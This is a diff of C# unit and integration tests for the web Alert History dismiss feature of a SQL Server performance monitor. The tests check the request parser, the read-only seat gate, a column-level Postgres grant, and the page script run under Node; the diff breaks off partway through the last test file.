diff --git a/Darling/Darling.Tests/AlertHistoryDetailLabelsTests.cs b/Darling/Darling.Tests/AlertHistoryDetailLabelsTests.cs
index 7e551cdd9d..4ac92d5787 100644
--- a/Darling/Darling.Tests/AlertHistoryDetailLabelsTests.cs
+++ b/Darling/Darling.Tests/AlertHistoryDetailLabelsTests.cs
@@ -45,7 +45,7 @@ public sealed class AlertHistoryDetailLabelsTests
         "const parse = new Function(src.slice(start, end) + '\\nreturn parseDetailFields;')();" +
         "console.log(JSON.stringify(parse(JSON.parse(process.argv[2]).join('\\n'))));";
 
-    /// <summary>Runs the shipped parser over the lines, or returns false when Node is not installed.</summary>
+    /// <summary>Runs the shipped parser over the lines. When Node is not installed, the test is reported as skipped.</summary>
     private static bool TryParse(string[] lines, out List<(string? Label, string Value)> fields)
     {
         fields = new List<(string?, string)>();
@@ -68,6 +68,7 @@ private static bool TryParse(string[] lines, out List<(string? Label, string Val
         }
         catch (Win32Exception)
         {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
             return false;
         }
 
diff --git a/Darling/Darling.Tests/AlertHistoryDismissBehaviourTests.cs b/Darling/Darling.Tests/AlertHistoryDismissBehaviourTests.cs
new file mode 100644
index 0000000000..fc6072e0df
--- /dev/null
+++ b/Darling/Darling.Tests/AlertHistoryDismissBehaviourTests.cs
@@ -0,0 +1,202 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Dismiss Selected and Dismiss All on the web Alert History page, from the shipped <c>alerts.js</c> run under
+/// Node (<c>alert-history-dismiss-harness.mjs</c>) against a recording fetch: the controls exist only for a seat
+/// that can edit, the right keys are posted to <c>/api/alert-history/dismiss</c>, the checked set survives a
+/// rebuild, a refusal is shown and never reported as success, and the reply's counts are summarised.
+/// </summary>
+public sealed class AlertHistoryDismissBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "alert-history-dismiss-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Alert History dismiss harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the Alert History dismiss harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Metrics(JsonElement post) =>
+        post.GetProperty("req").GetProperty("alerts").EnumerateArray().Select(a => a.GetProperty("metric_name").GetString()!).ToArray();
+
+    [Fact]
+    public void ASeatThatCannotEdit_SeesNoCheckboxesAndNoDismissButtons()
+    {
+        var r = Run("readOnly");
+        Assert.Equal(0, r.GetProperty("checkboxes").GetInt32());
+        Assert.False(r.GetProperty("hasSelected").GetBoolean());
+        Assert.False(r.GetProperty("hasAll").GetBoolean());
+    }
+
+    [Fact]
+    public void DismissSelected_PostsTheCheckedRowsKeys_AndRefreshesTheList()
+    {
+        var r = Run("selected");
+        Assert.Equal(3, r.GetProperty("boxes").GetInt32());
+        Assert.True(r.GetProperty("selectedDisabledBefore").GetBoolean());
+        var post = Assert.Single(r.GetProperty("posts").EnumerateArray());
+        Assert.Equal("/api/alert-history/dismiss", post.GetProperty("url").GetString());
+        Assert.Equal("application/json", post.GetProperty("contentType").GetString());
+        Assert.Equal(new[] { "High CPU 1", "High CPU 3" }, Metrics(post));
+        var first = post.GetProperty("req").GetProperty("alerts")[0];
+        Assert.Equal(1, first.GetProperty("server_id").GetInt32());
+        Assert.Equal("2026-01-01T11:59:00.000Z", first.GetProperty("alert_time").GetString());
+        Assert.Equal("Dismissed 2 of 2", r.GetProperty("status").GetString());
+        Assert.Equal(1, r.GetProperty("rowsAfter").GetInt32());
+        Assert.Equal(2, r.GetProperty("reads").GetInt32());
+    }
+
+    [Fact]
+    public void WithShowDismissedOn_ADismissedRowStaysAndSaysDismissed()
+    {
+        var r = Run("showDismissed");
+        Assert.Equal(2, r.GetProperty("rows").GetInt32());
+        Assert.True(r.GetProperty("dismissedWord").GetBoolean());
+        Assert.Equal(0, r.GetProperty("firstHasBox").GetInt32());
+    }
+
+    [Fact]
+    public void DismissAll_PostsEveryLiveRowTheFiltersShow()
+    {
+        var r = Run("all");
+        var filtered = Assert.Single(r.GetProperty("filtered").EnumerateArray());
+        Assert.Equal(new[] { 2 }, filtered.EnumerateArray().Select(e => e.GetInt32()).ToArray());
+        var post = Assert.Single(r.GetProperty("all").EnumerateArray());
+        Assert.Equal("/api/alert-history/dismiss", post.GetProperty("url").GetString());
+        Assert.Equal(3, post.GetProperty("keys").GetArrayLength());
+    }
+
+    [Fact]
+    public void ALongList_GoesInRequestsOfAtMostTheRoutesCap_AndTheCountsAreAddedUp()
+    {
+        var r = Run("chunks");
+        Assert.Equal(new[] { 1000, 500 }, r.GetProperty("sizes").EnumerateArray().Select(e => e.GetInt32()).ToArray());
+        Assert.Equal("Dismissed 1500 of 1500", r.GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public void TheCheckedSet_SurvivesARebuild_AndClearsWhenAFilterChanges()
+    {
+        var r = Run("survives");
+        Assert.Equal(new[] { false, false, true }, r.GetProperty("afterPoll").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal(new[] { false, false, true }, r.GetProperty("afterReopen").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal("Dismiss Selected (1)", r.GetProperty("label").GetString());
+        Assert.DoesNotContain(true, r.GetProperty("afterFilter").EnumerateArray().Select(e => e.GetBoolean()));
+    }
+
+    [Fact]
+    public void ARefusal_ShowsItsText_NeverClaimsSuccess_AndKeepsTheSelection()
+    {
+        var r = Run("refused");
+        Assert.Equal("This seat is read-only.", r.GetProperty("status").GetString());
+        Assert.Equal(2, r.GetProperty("rows").GetInt32());
+        Assert.True(r.GetProperty("stillChecked").GetBoolean());
+        var expired = r.GetProperty("status401").GetString()!;
+        Assert.DoesNotContain("Dismissed", expired);
+        Assert.Contains("Session expired", expired);
+    }
+
+    [Fact]
+    public void DismissAllPrompt_SaysStore_AndWhenThePageIsTruncatedSaysTheRestStayLive()
+    {
+        var r = Run("truncatedPrompt");
+        var full = r.GetProperty("fullAsk").GetString()!;
+        Assert.Contains("remain in the store", full);
+        Assert.DoesNotContain("database", full);
+        Assert.DoesNotContain("More alerts exist", full);
+        var truncated = r.GetProperty("truncatedAsk").GetString()!;
+        Assert.Contains("remain in the store", truncated);
+        Assert.Contains("More alerts exist than the 2 listed", truncated);
+        Assert.Contains("the rest stay live", truncated);
+    }
+
+    [Fact]
+    public void CopyRowAndCopyTable_LeaveOutTheSelectColumn_ButKeepMute()
+    {
+        var r = Run("copy");
+        var all = r.GetProperty("copyAll").GetString()!.Split('\n');
+        var header = all[0].Split('\t');
+        Assert.DoesNotContain("Select", header);
+        Assert.Contains("Mute", header);
+        var row = r.GetProperty("copyRow").GetString()!.Split('\t');
+        Assert.Equal(header.Length, row.Length);
+        Assert.Equal(header.Length, all[1].Split('\t').Length);
+        Assert.Equal(header.Length + 1, r.GetProperty("cells").GetInt32());
+    }
+
+    [Fact]
+    public void AFailedPollRead_KeepsTheCheckedSet()
+    {
+        var r = Run("failedPoll");
+        Assert.Equal("Dismiss Selected (1)", r.GetProperty("labelAfterFailedRead").GetString());
+        Assert.Equal(new[] { false, true }, r.GetProperty("afterGoodRead").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal("Dismiss Selected (1)", r.GetProperty("labelAfterGoodRead").GetString());
+    }
+
+    [Fact]
+    public void ABoxTickedWhileADismissIsInFlight_IsNotClearedAndNotSent()
+    {
+        var r = Run("tickedInFlight");
+        var sent = Assert.Single(r.GetProperty("sent").EnumerateArray());
+        Assert.Equal(new[] { "High CPU 1" }, sent.EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal("Dismiss Selected (1)", r.GetProperty("label").GetString());
+        Assert.Equal(new[] { false, true }, r.GetProperty("checked").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+    }
+
+    [Fact]
+    public void TheStatusLine_SaysHowManyWereDismissedAndHowManyWereAlreadyGone()
+    {
+        var r = Run("counts");
+        Assert.Equal("Dismissed 1 of 4; 3 were already gone", r.GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public void ThePageSendsOnlyTheRoutesKeysThroughTheSharedWriteHelper()
+    {
+        var page = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "alerts.js").ReplaceLineEndings("\n");
+        Assert.Contains("apiSend(\"POST\", \"/api/alert-history/dismiss\"", page);
+        Assert.Contains("const DISMISS_CHUNK = 1000;", page);
+        Assert.Contains("\nconst selected = new Map();", page);
+    }
+}
diff --git a/Darling/Darling.Tests/AlertHistoryDismissTests.cs b/Darling/Darling.Tests/AlertHistoryDismissTests.cs
new file mode 100644
index 0000000000..c1a747e45b
--- /dev/null
+++ b/Darling/Darling.Tests/AlertHistoryDismissTests.cs
@@ -0,0 +1,347 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The web Alert History dismiss (#4843): the pure body parser, the role grant that lets the web host's
+/// <c>viewer</c> identity write it, and the route itself. The live half connects AS a role holding exactly the
+/// managed <c>viewer</c> grant on <c>config_alert_log</c> (the statement is lifted out of the managed
+/// provisioning SQL, so a drift in it changes what these tests run), never as the owner.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class AlertHistoryDismissTests
+{
+    private static readonly string RunSuffix = Guid.NewGuid().ToString("N")[..8];
+    private static readonly string DismissRole = "dismiss_only_" + RunSuffix;
+    private const string RolePassword = "DismissTestPw0123456789abcdef01";
+
+    private static string Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the alert dismiss live tests.");
+        return cs!;
+    }
+
+    /* ═══════════════════════════ the pure parser ═══════════════════════════ */
+
+    [Fact]
+    public void ParseDismissBody_DedupesAndKeepsFirstSeenOrder()
+    {
+        var ok = DarlingWebEndpoints.ParseDismissBody(
+            """{"alerts":[{"alert_time":"2026-10-04T10:00:00","server_id":1,"metric_name":"High CPU"},{"alert_time":"2026-10-04T10:00:00Z","server_id":1,"metric_name":"High CPU"},{"alert_time":"2026-10-04T11:00:00","server_id":2,"metric_name":"Blocking"}]}""",
+            out var keys, out var refusal);
+
+        Assert.True(ok, refusal);
+        Assert.Equal(2, keys.Count);
+        Assert.Equal(1, keys[0].ServerId);
+        Assert.Equal(2, keys[1].ServerId);
+        Assert.Equal(DateTimeKind.Unspecified, keys[0].AlertTime.Kind);
+    }
+
+    [Theory]
+    [InlineData("not json")]
+    [InlineData("[]")]
+    [InlineData("{}")]
+    [InlineData("""{"alerts":[]}""")]
+    [InlineData("""{"alerts":"x"}""")]
+    [InlineData("""{"alerts":[{"alert_time":"2026-10-04T10:00:00","server_id":"1","metric_name":"m"}]}""")]
+    [InlineData("""{"alerts":[{"alert_time":"nope","server_id":1,"metric_name":"m"}]}""")]
+    [InlineData("""{"alerts":[{"alert_time":"2026-10-04T10:00:00","server_id":1,"metric_name":""}]}""")]
+    [InlineData("""{"alerts":[{"alert_time":"2026-10-04T10:00:00","server_id":1}]}""")]
+    [InlineData("""{"alerts":[7]}""")]
+    [InlineData("""{"alerts":[],"alerts":[]}""")]
+    public void ParseDismissBody_RefusesABadBody(string body)
+    {
+        Assert.False(DarlingWebEndpoints.ParseDismissBody(body, out _, out var refusal));
+        Assert.False(string.IsNullOrEmpty(refusal));
+    }
+
+    [Fact]
+    public void ParseDismissBody_CapsTheKeyCount()
+    {
+        string Body(int n) => "{\"alerts\":[" + string.Join(",", Enumerable.Range(0, n)
+            .Select(i => $"{{\"alert_time\":\"2026-10-04T10:00:00\",\"server_id\":{i},\"metric_name\":\"m\"}}")) + "]}";
+
+        Assert.True(DarlingWebEndpoints.ParseDismissBody(Body(DarlingWebEndpoints.MaxDismissKeys), out var keys, out _));
+        Assert.Equal(DarlingWebEndpoints.MaxDismissKeys, keys.Count);
+        Assert.False(DarlingWebEndpoints.ParseDismissBody(Body(DarlingWebEndpoints.MaxDismissKeys + 1), out _, out _));
+    }
+
+    /* ═══════════════════════════ the write gate ═══════════════════════════ */
+
+    [Theory]
+    [InlineData(true, "POST", true)]
+    [InlineData(false, "POST", false)]
+    [InlineData(false, "PUT", false)]
+    [InlineData(false, "DELETE", false)]
+    public void TheWriteGate_RefusesAReadOnlySeat_OnTheDismissRoute(bool canEdit, string method, bool expected) =>
+        Assert.Equal(expected, DarlingWebSeat.IsRequestAllowed(
+            new DarlingWebSeat("who", canEdit), method, "/api/alert-history/dismiss"));
+
+    /* ═══════════════════════════ the grant text ═══════════════════════════ */
+
+    [Fact]
+    public void ManagedProvisioning_GrantsViewerExactlyTheDismissedColumn_AndMcpNothing()
+    {
+        var sql = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp, 15);
+
+        Assert.Contains("GRANT UPDATE (dismissed) ON config.config_alert_log TO viewer;", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("config.config_alert_log TO mcp", sql, StringComparison.Ordinal);
+
+        /* No table-level UPDATE, INSERT or DELETE on the alert log for viewer, in any spelling. */
+        var tableLevel = Regex.Matches(
+            Regex.Replace(sql, @"(?m)^\s*--.*$", ""),
+            @"GRANT\s+(?<spec>[^;(]*?)\s+ON\s+config\.config_alert_log\s+TO\s+[^;]*viewer[^;]*;");
+        Assert.Empty(tableLevel);
+    }
+
+    /* ═══════════════════════════ live: AS the grant-only role ═══════════════════════════ */
+
+    [Fact]
+    public async Task TheColumnGrant_LetsTheRoleDismiss_AndNothingElse_AndLeavesTheReadOnlyProbeFalse()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs(), ct);
+        await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            await CreateDismissOnlyRoleAsync(owner, ct);
+            await Exec(owner, SeedSql, ct);
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var role = new NpgsqlConnection(RoleConnectionString(scratch.ConnectionString));
+            await role.OpenAsync(ct);
+
+            /* Negative control: the same role, same statement, BEFORE the shipped grant, is refused. This is what
+               makes the success below attributable to the grant and not to a role that could always write. */
+            var dismissKey = new AlertDismissKey(new DateTime(2026, 10, 4, 10, 0, 0), -7001, "High CPU");
+            await using (var before = AlertDismissStore.CreateDismissCommand(
+                NpgsqlDataSource.Create(RoleConnectionString(scratch.ConnectionString)), new[] { dismissKey }, 30))
+            {
+                var refused = await Assert.ThrowsAsync<PostgresException>(() => before.ExecuteNonQueryAsync(ct));
+                Assert.Equal("42501", refused.SqlState);
+            }
+
+            await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await owner.OpenAsync(ct);
+                await GrantDismissedColumnAsync(owner, ct);
+            }
+
+            /* The WPF read-only probe, verbatim, as the grant-only role: a column grant is not a table grant. */
+            Assert.False(await Scalar<bool>(role, "SELECT has_table_privilege('config_alert_log', 'UPDATE')", ct));
+            Assert.True(await Scalar<bool>(role, "SELECT has_column_privilege('config_alert_log', 'dismissed', 'UPDATE')", ct));
+            Assert.False(await Scalar<bool>(role, "SELECT has_column_privilege('config_alert_log', 'muted', 'UPDATE')", ct));
+
+            /* The shared write core, as that role. */
+            await using (var command = AlertDismissStore.CreateDismissCommand(
+                NpgsqlDataSource.Create(RoleConnectionString(scratch.ConnectionString)), new[] { dismissKey }, 30))
+            {
+                Assert.Equal(1, await command.ExecuteNonQueryAsync(ct));
+            }
+
+            /* Every other column, INSERT and DELETE: 42501. */
+            foreach (var statement in new[]
+            {
+                "UPDATE config_alert_log SET muted = TRUE",
+                "UPDATE config_alert_log SET metric_name = 'x'",
+                "UPDATE config_alert_log SET dismissed = FALSE, send_error = 'x'",
+                "INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, current_value, threshold_value) VALUES (now(), -1, 's', 'm', 1, 1)",
+                "DELETE FROM config_alert_log",
+            })
+            {
+                var ex = await Assert.ThrowsAsync<PostgresException>(() => Exec(role, statement, ct));
+                Assert.Equal("42501", ex.SqlState);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, DropRoleAsync);
+        }
+    }
+
+    [Fact]
+    public async Task TheRoute_Answers200_400_415_AsTheGrantOnlyRole_AndReportsUnknownAndAlreadyDismissed()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(Cs(), ct);
+        await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            await ProvisionDismissOnlyRoleAsync(owner, ct);
+            await Exec(owner, SeedSql, ct);
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var ds = NpgsqlDataSource.Create(RoleConnectionString(scratch.ConnectionString));
+            var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+            {
+                ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+                WebRootPath = "wwwroot",
+            });
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            builder.Services.AddSingleton(ds);
+            await using var app = builder.Build();
+            DarlingWebEndpoints.MapAll(app, ds, new CollectorRuntimeState(), new CapturingTestLogger());
+            await app.StartAsync(ct);
+            using var server = app.GetTestServer();
+
+            async Task<(int Status, string Body)> Post(string? contentType, string body)
+            {
+                var context = await server.SendAsync(request =>
+                {
+                    request.Request.Method = "POST";
+                    request.Request.Path = "/api/alert-history/dismiss";
+                    request.Request.Headers.Host = "localhost";
+                    if (contentType is not null)
+                    {
+                        request.Request.ContentType = contentType;
+                    }
+
+                    request.Request.Body = new MemoryStream(Encoding.UTF8.GetBytes(body));
+                });
+                using var reader = new StreamReader(context.Response.Body);
+                return (context.Response.StatusCode, await reader.ReadToEndAsync(ct));
+            }
+
+            static string Alert(string time, int server, string metric) =>
+                $"{{\"alert_time\":\"{time}\",\"server_id\":{server},\"metric_name\":\"{metric}\"}}";
+
+            /* 415 and 400 never reach the store. */
+            Assert.Equal(StatusCodes.Status415UnsupportedMediaType, (await Post("text/plain", "{}")).Status);
+            Assert.Equal(StatusCodes.Status415UnsupportedMediaType, (await Post(null, "{}")).Status);
+            Assert.Equal(StatusCodes.Status400BadRequest, (await Post("application/json", "nope")).Status);
+            Assert.Equal(StatusCodes.Status400BadRequest, (await Post("application/json", "{\"alerts\":[]}")).Status);
+            Assert.Equal(StatusCodes.Status400BadRequest, (await Post("application/json", "{\"alerts\":[],\"alerts\":[]}")).Status);
+
+            /* Two real rows (one duplicated), one unknown key. */
+            var first = await Post("application/json; charset=utf-8", "{\"alerts\":[" + string.Join(",",
+                Alert("2026-10-04T10:00:00", -7001, "High CPU"),
+                Alert("2026-10-04T10:00:00", -7001, "High CPU"),
+                Alert("2026-10-04T10:05:00", -7001, "Blocking"),
+                Alert("2026-10-04T10:00:00", -7999, "No Such")) + "]}");
+            Assert.Equal(StatusCodes.Status200OK, first.Status);
+            using (var doc = JsonDocument.Parse(first.Body))
+            {
+                var root = doc.RootElement;
+                Assert.Equal(3, root.GetProperty("requested").GetInt32());
+                Assert.Equal(2, root.GetProperty("dismissed").GetInt32());
+                Assert.Equal(0, root.GetProperty("already_dismissed").GetInt32());
+                Assert.Equal(1, root.GetProperty("unknown").GetInt32());
+            }
+
+            /* Repeating it dismisses nothing new: both rows are already dismissed. */
+            var again = await Post("application/json", "{\"alerts\":[" + Alert("2026-10-04T10:00:00", -7001, "High CPU") + "]}");
+            using (var doc = JsonDocument.Parse(again.Body))
+            {
+                Assert.Equal(0, doc.RootElement.GetProperty("dismissed").GetInt32());
+                Assert.Equal(1, doc.RootElement.GetProperty("already_dismissed").GetInt32());
+            }
+
+            await using var verify = new NpgsqlConnection(scratch.ConnectionString);
+            await verify.OpenAsync(ct);
+            Assert.Equal(2L, await Scalar<long>(verify, "SELECT count(*) FROM config_alert_log WHERE server_id = -7001 AND dismissed", ct));
+            Assert.Equal(1L, await Scalar<long>(verify, "SELECT count(*) FROM config_alert_log WHERE server_id = -7001 AND NOT dismissed", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, DropRoleAsync);
+        }
+    }
+
+    /* ═══════════════════════════ helpers ═══════════════════════════ */
+
+    private const string SeedSql = @"
+INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, current_value, threshold_value) VALUES
+ ('2026-10-04 10:00:00', -7001, 'srv', 'High CPU', 90, 80),
+ ('2026-10-04 10:05:00', -7001, 'srv', 'Blocking', 5, 1),
+ ('2026-10-04 10:10:00', -7001, 'srv', 'Deadlocks', 2, 1)";
+
+    private static Task CreateDismissOnlyRoleAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        Exec(owner, $@"
+CREATE ROLE {DismissRole} LOGIN NOSUPERUSER PASSWORD '{RolePassword}';
+GRANT USAGE ON SCHEMA config TO {DismissRole};
+GRANT SELECT ON config.config_alert_log TO {DismissRole};", ct);
+
+    /// <summary>Gives the role ONLY the managed viewer's alert-log grant, lifted from the managed provisioning SQL
+    /// so the test runs the shipped statement.</summary>
+    private static async Task GrantDismissedColumnAsync(NpgsqlConnection owner, CancellationToken ct)
+    {
+        var managed = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp, 15);
+        var grant = Regex.Match(managed, @"GRANT UPDATE \(dismissed\) ON config\.config_alert_log TO viewer;");
+        Assert.True(grant.Success, "the managed provisioning SQL no longer grants viewer the dismissed column");
+
+        await Exec(owner, grant.Value.Replace(" TO viewer;", " TO " + DismissRole + ";", StringComparison.Ordinal), ct);
+    }
+
+    private static async Task ProvisionDismissOnlyRoleAsync(NpgsqlConnection owner, CancellationToken ct)
+    {
+        await CreateDismissOnlyRoleAsync(owner, ct);
+        await GrantDismissedColumnAsync(owner, ct);
+    }
+
+    private static Task DropRoleAsync(NpgsqlConnection owner, CancellationToken ct) =>
+        Exec(owner, $"DROP OWNED BY {DismissRole}; DROP ROLE IF EXISTS {DismissRole}", ct);
+
+    private static string RoleConnectionString(string baseConnectionString) =>
+        new NpgsqlConnectionStringBuilder(baseConnectionString)
+        {
+            Username = DismissRole,
+            Password = RolePassword,
+            SearchPath = "config,public",
+            Pooling = false,
+        }.ConnectionString;
+
+    private static async Task Exec(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<T> Scalar<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (T)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
diff --git a/Darling/Darling.Tests/AlertHistoryLazyRenderTests.cs b/Darling/Darling.Tests/AlertHistoryLazyRenderTests.cs
index 1ce730384e..9851dde10e 100644
--- a/Darling/Darling.Tests/AlertHistoryLazyRenderTests.cs
+++ b/Darling/Darling.Tests/AlertHistoryLazyRenderTests.cs
@@ -66,10 +66,17 @@ pins against regressing. */
         Assert.Contains("if (built || !node.open) return;", detailCell, StringComparison.Ordinal);
         Assert.Contains("mount(placeholder, detailBody(a));", detailCell, StringComparison.Ordinal);
 
+        /* #5241: an Analysis row's advice is fetched here, in the toggle handler, once per opened row - never by the
+           list read, and never for a row nobody opened. */
+        Assert.Contains("if (isAnalysisAlert(a)) {", detailCell, StringComparison.Ordinal);
+        Assert.Contains("await alertAdvice(a)", detailCell, StringComparison.Ordinal);
+        Assert.Contains("mount(placeholder, detailBody(a, items));", detailCell, StringComparison.Ordinal);
+        Assert.DoesNotContain("include_details", js, StringComparison.Ordinal);
+
         /* The control: detailBody is where that work actually happens, so the absence above is real and not a
            matcher for text that was never going to appear anywhere in this file. Same field/error shape as the
            pre-#4194 eager version - only when it runs has changed. */
-        var detailBody = ExtractFunction(js, "function detailBody(a) {");
+        var detailBody = ExtractFunction(js, "function detailBody(a, details) {");
         Assert.Contains("parseDetailFields(", detailBody, StringComparison.Ordinal);
         Assert.Contains("fieldRow", detailBody, StringComparison.Ordinal);
         Assert.Contains("detail-fields", detailBody, StringComparison.Ordinal);
@@ -117,7 +124,10 @@ public void SixtySecondPoll_NeverShowsTheLoadingStrip_OnlyTheFirstMountDoes()
            must not call it - the previous table stays exactly as it is until the new page is ready. */
         var js = AlertsJs;
         var loadingStripUses = Regex.Matches(js, Regex.Escape("loadingStrip(")).Count;
-        Assert.Equal(1, loadingStripUses);
+        /* The first mount in renderAlerts, and (#5241) the one in an opened Analysis row's own expansion while its advice
+           loads; neither is on the poll path. */
+        Assert.Equal(2, loadingStripUses);
+        Assert.Contains("mount(placeholder, [loadingStrip()]);", ExtractFunction(js, "function detailCell(a) {"), StringComparison.Ordinal);
 
         var refreshAlerts = ExtractFunction(js, "async function refreshAlerts(state) {");
         Assert.DoesNotContain("loadingStrip", refreshAlerts, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/AlertHistoryRangePageTests.cs b/Darling/Darling.Tests/AlertHistoryRangePageTests.cs
new file mode 100644
index 0000000000..f1d05c2328
--- /dev/null
+++ b/Darling/Darling.Tests/AlertHistoryRangePageTests.cs
@@ -0,0 +1,253 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Alert History's range, row-limit, server and Show dismissed choices (#4843): source pins for what the page asks
+/// get_alert_history for, and a run of the shipped page under Node (<c>alert-history-range-harness.mjs</c>) for what
+/// it does with each choice. Node is skipped when it is not installed.
+/// </summary>
+public sealed class AlertHistoryRangePageTests
+{
+    private static string Page() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "alerts.js").ReplaceLineEndings("\n");
+
+    [Fact]
+    public void ThePageReadsGetAlertHistoryWithTheFourChoicesAndNeverAFixedWindow()
+    {
+        var page = Page();
+        Assert.DoesNotContain("hours_back: 24", page);
+        Assert.DoesNotContain("limit: 200 }", page);
+        Assert.Contains("readTool(\"get_alert_history\", req.params)", page);
+        // #5562: the range is the shared picker's spec, read as of each read; a finished range also sends its end.
+        Assert.Contains("windowResultOfSpec(choices.spec);", page);
+        Assert.Contains("hours_back: w.hours", page);
+        Assert.Contains("as_of: w.asOf", page);
+        // Review r1 H2: the reply is trimmed to the range start, since the read takes whole hours.
+        Assert.Contains("trimAlertsToStart(res.data.alerts || [], req.startMs)", page);
+        Assert.Contains("limit: choices.limit", page);
+        Assert.Contains("server_name: choices.server || null", page);
+        Assert.Contains("include_dismissed: choices.dismissed ? \"true\" : null", page);
+        Assert.Contains("readTool(\"list_servers\", {})", page);
+        Assert.Contains("res.data.truncated === true", page);
+    }
+
+    [Fact]
+    public void NoWindowOrLimitIsOfferedThatTheToolOrTheDispatchLayerRefuses()
+    {
+        var page = Page();
+        // #5562 R8: no hand-listed windows and no "All". The picker takes its reach from the catalog's max_hours for the read, which is
+        // the 2160 hours (90 days) the read's validator accepts, so a longer range is greyed out with the reason and never clamped. That
+        // is the alert table's retention (AlertHistoryRetentionDays, DarlingRetention.cs), the longest choice the Viewer offers (R8, L4b).
+        Assert.DoesNotContain("WINDOW_CHOICES", page);
+        Assert.Contains("read: \"get_alert_history\"", page);
